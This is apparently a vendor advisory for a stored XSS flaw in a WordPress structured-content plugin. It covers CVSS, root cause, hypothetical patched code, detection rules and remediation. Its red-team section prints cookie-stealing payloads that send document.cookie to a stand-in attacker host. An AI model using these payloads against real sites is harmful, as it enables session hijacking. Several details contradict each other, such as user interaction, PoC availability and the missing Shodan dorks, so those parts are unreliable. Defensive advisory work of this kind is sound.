CVE-2025-30918
Executive Summary
CVE-2025-30918 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Structured Content by Gordon Böhme, affecting versions up to and including 1.6.3. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress database, which is then executed in the browsers of any user viewing the compromised content. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing high privileges required but low complexity and no user interaction for the stored payload. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. Given the plugin’s role in managing structured data (e.g., schema.org markup), the injected script can persist across page loads, affecting SEO and site integrity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Users should treat this as a supply chain risk: if the plugin is installed via the WordPress admin panel, automatic updates may not be available. Manual removal or disabling is recommended until a patch is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must have at least Contributor-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must view the compromised page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim’s browser).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to session hijacking, defacement, or phishing.
Deep Dive & Mechanics
The vulnerability exists in the structured-content plugin’s handling of user-supplied input when creating or editing structured data (e.g., schema.org JSON-LD). The plugin fails to properly sanitize and escape input before storing it in the WordPress database and later rendering it in the page source. Specifically, the structured_content shortcode or custom post type meta fields allow HTML/JavaScript injection.
Attack Flow:
- An attacker with Contributor-level access creates a new post or edits an existing one.
- In the structured content meta box, the attacker injects a malicious payload, e.g.,
<script>alert('XSS')</script>. - The plugin stores the payload in the
wp_postmetatable without sanitization. - When any user (including administrators) views the post, the plugin outputs the payload directly into the HTML, executing the script in the victim’s browser.
Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to the structured data output.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.6.3):
// In structured-content.php or similar
function render_structured_content($atts) {
$content = get_post_meta(get_the_ID(), '_structured_content', true);
// No sanitization before output
echo '<div class="structured-content">' . $content . '</div>';
}
Patched Code (hypothetical):
function render_structured_content($atts) {
$content = get_post_meta(get_the_ID(), '_structured_content', true);
// Sanitize output
echo '<div class="structured-content">' . esc_html($content) . '</div>';
}
Key Difference: The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress site with Structured Content plugin <= 1.6.3.
- Contributor-level account credentials.
Steps:
- Log in as a Contributor.
- Create a new post or edit an existing one.
- In the “Structured Content” meta box, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish or save the post.
- When an administrator or visitor views the post, the script executes, exfiltrating cookies.
Alternative Payload (for session hijacking):
<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Defensive)
Detection:
- Monitor for posts containing
<script>tags in meta fields. - Use WAF rules to block common XSS patterns in POST requests to
wp-admin/post.php. - Enable Content Security Policy (CSP) headers to block inline scripts.
Hunting Query (SQL):
SELECT * FROM wp_postmeta WHERE meta_key = '_structured_content' AND meta_value LIKE '%<script%';
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/structured-content/structured-content.php(version <= 1.6.3) - Database: Rows in
wp_postmetawithmeta_key = '_structured_content'containing<script>or<img onerror=patterns. - Network: Outbound requests to attacker-controlled domains from the WordPress server.
- Logs:
wp-adminPOST requests topost.phpwith unusual meta values.
Detection Engineering
YARA Rule
rule CVE_2025_30918_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Structured Content plugin meta fields"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-30918"
strings:
$meta_key = "_structured_content"
$xss_payload1 = /<script[^>]*>.*<\/script>/is
$xss_payload2 = /<img[^>]+onerror\s*=/is
$xss_payload3 = /onload\s*=\s*["']?javascript:/is
condition:
$meta_key and ($xss_payload1 or $xss_payload2 or $xss_payload3)
}
Sigma Rule
title: Stored XSS via Structured Content Plugin
id: 8a4b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects stored XSS attempts in WordPress Structured Content plugin
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
cs-uri-query|contains: 'post='
cs-request-body|contains: '_structured_content'
cs-request-body|re: '<script[^>]*>.*<\/script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in structured data (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30918 Stored XSS in Structured Content"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"_structured_content"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove any malicious posts containing XSS payloads from the database.
- Reset all user sessions to invalidate stolen cookies.
Long-Term Fix:
- The vendor must release a patched version that sanitizes output with
esc_html()orwp_kses_post(). - Alternatively, replace the plugin with a maintained alternative (e.g., “Schema & Structured Data for WP & AMP”).
Workaround:
- Add a custom filter to sanitize the meta field output:
add_filter('the_content', function($content) { if (get_post_meta(get_the_ID(), '_structured_content', true)) { $content = esc_html(get_post_meta(get_the_ID(), '_structured_content', true)); } return $content; });
Valters IT – Securing the digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.